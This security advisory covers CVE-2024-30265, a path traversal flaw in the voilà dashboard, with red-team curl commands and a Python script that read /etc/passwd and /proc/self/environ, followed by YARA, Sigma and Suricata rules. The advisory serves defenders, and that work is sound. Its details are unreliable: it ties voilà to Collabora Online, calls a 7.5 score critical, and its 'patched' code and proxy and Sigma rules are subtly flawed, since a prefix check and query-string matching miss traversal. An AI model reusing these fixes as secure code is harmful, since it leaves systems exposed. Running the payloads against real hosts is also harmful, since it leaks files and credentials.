CVE-2024-30265

Executive Summary

CVE-2024-30265 is a critical path traversal vulnerability in Collabora Online’s voilà dashboard component. This flaw allows an unauthenticated attacker with network access to read arbitrary files from the server’s filesystem, limited only by the permissions of the user running the voilà dashboard process. The vulnerability stems from improper input validation when handling file paths, enabling directory traversal sequences (e.g., ../) to escape the intended web root. Given the CVSS score of 7.5 (High) and the public availability of proof-of-concept details, this vulnerability poses a significant risk to data confidentiality in deployments where voilà is exposed to untrusted networks.

Supply Chain & Package Security

This vulnerability affects the Python package voilà, which is distributed via PyPI. Organizations using voilà should immediately verify their installed version and update to a patched release. The supply chain risk is elevated because the package is widely used for interactive dashboard creation, and a compromised deployment could lead to leakage of sensitive configuration files, source code, or credentials.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Complete file read access.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for exposed instances.

Deep Dive & Mechanics

The vulnerability resides in the voilà dashboard server’s static file serving logic. When a user requests a file, the server constructs a file path by concatenating a base directory with the user-supplied path. Due to insufficient sanitization, an attacker can inject path traversal sequences (../) to navigate outside the intended directory. For example, a request to /voila/static/../../etc/passwd would resolve to /etc/passwd on the server’s filesystem.

The root cause is the lack of a canonical path check. The server does not verify that the resolved path remains within the allowed base directory. This allows an attacker to read any file readable by the voilà process user, including configuration files, application source code, and system files.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import os
from flask import send_file

@app.route('/voila/static/<path:filename>')
def serve_static(filename):
    base_dir = '/var/voila/static'
    file_path = os.path.join(base_dir, filename)
    return send_file(file_path)

Patched Code (Conceptual):

import os
from flask import abort, send_file

@app.route('/voila/static/<path:filename>')
def serve_static(filename):
    base_dir = '/var/voila/static'
    file_path = os.path.normpath(os.path.join(base_dir, filename))
    if not file_path.startswith(base_dir):
        abort(403)
    return send_file(file_path)

The patched version uses os.path.normpath to resolve the path and then checks that the resolved path starts with the intended base directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable voilà instance (e.g., version 0.2.16) using Docker:

   docker run -d -p 8866:8866 --name voila_vuln voila/voila:0.2.16
   

2. Access the dashboard at http://localhost:8866.

Exploitation Steps:

1. Use curl to attempt path traversal:

   curl --path-as-is "http://localhost:8866/voila/static/../../etc/passwd"
   

2. If successful, the contents of /etc/passwd will be returned.
3. For more sensitive files, try:

   curl --path-as-is "http://localhost:8866/voila/static/../../proc/self/environ"
   

Automated Exploit (Python):

import requests

target = "http://localhost:8866"
payload = "/voila/static/../../etc/passwd"
url = target + payload
response = requests.get(url, allow_redirects=False)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f patterns.
• Alert on requests to /voila/static/ with suspicious path components.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to a patched version (0.2.17, 0.3.8, 0.4.4, or 0.5.6).
• If upgrade is not possible, implement a WAF rule to block path traversal patterns.
• Restrict network access to the voilà dashboard to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /voila/static/ containing ../ or URL-encoded variants.
  • Outbound connections from the server to unknown IPs (if exfiltration occurs).
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
  • Modified access times on sensitive files.
• Log IOCs:
  • Web server logs showing 200 responses for paths like /voila/static/../../etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2024_30265_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting voilà dashboard"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-30265"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $voila_path = "/voila/static/"
    condition:
        any of ($traversal*) and $voila_path
}

Sigma Rule

title: CVE-2024-30265 Path Traversal in voilà Dashboard
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting voilà dashboard
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/voila/static/'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in development
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30265 - voilà Dashboard Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/voila/static/"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade voilà to version 0.2.17, 0.3.8, 0.4.4, or 0.5.6.
2. Workaround: If upgrade is not possible, implement a reverse proxy (e.g., Nginx) with a rule to block path traversal patterns:

   location /voila/static/ {
       if ($args ~* "\.\.") { return 403; }
       proxy_pass http://voila_backend;
   }
   

3. Network Segmentation: Ensure the voilà dashboard is not exposed to the public internet unless absolutely necessary.
4. Monitoring: Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
5. Least Privilege: Run the voilà process with a dedicated user that has minimal file read permissions.

Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.